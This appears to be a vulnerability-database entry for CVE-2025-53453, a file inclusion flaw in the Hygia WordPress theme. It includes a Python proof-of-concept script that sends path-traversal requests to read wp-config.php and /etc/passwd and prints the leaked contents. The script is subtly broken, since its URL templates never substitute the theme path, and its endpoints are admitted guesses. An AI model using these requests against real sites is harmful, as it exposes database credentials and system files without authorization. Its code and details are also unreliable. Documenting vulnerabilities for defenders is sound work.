CVE-2025-53453

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Hygia hygia allows PHP Local File Inclusion.This issue affects Hygia: from n/a through <= 1.16.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:hygia:*:*:*:*:*:wordpress:*:* - VULNERABLE

Hygia <= 1.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-53453 Hygia WordPress Theme LFI PoC
# Target: WordPress site with Hygia theme <= 1.16 installed

TARGET_URL = "http://target-site.com/"
THEME_PATH = "wp-content/themes/hygia/"

# Vulnerable parameter - adjust based on actual exploitation
VULNERABLE_PARAMS = [
    "{THEME_PATH}inc/ajax.php?action=load_tab&tab=../../../../wp-config.php%00",
    "{THEME_PATH}inc/template-functions.php?file=../../../../etc/passwd",
    "{THEME_PATH}template-parts/single.php?template=../../../../wp-config.php"
]

def check_vulnerability():
    for param in VULNERABLE_PARAMS:
        url = TARGET_URL + param
        try:
            response = requests.get(url, timeout=10)
            if response.status_code == 200:
                if "DB_NAME" in response.text or "root:" in response.text:
                    print(f"[+] Vulnerable! Leaked data found at: {url}")
                    print(response.text[:500])
                    return True
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    return False

if __name__ == "__main__":
    print("[*] CVE-2025-53453 Hygia LFI Scanner")
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53453
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53453
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53453/
[4] VulDB https://vuldb.com/cve/CVE-2025-53453
[5] https://patchstack.com/database/Wordpress/Theme/hygia/vulnerability/wordpress-hygia-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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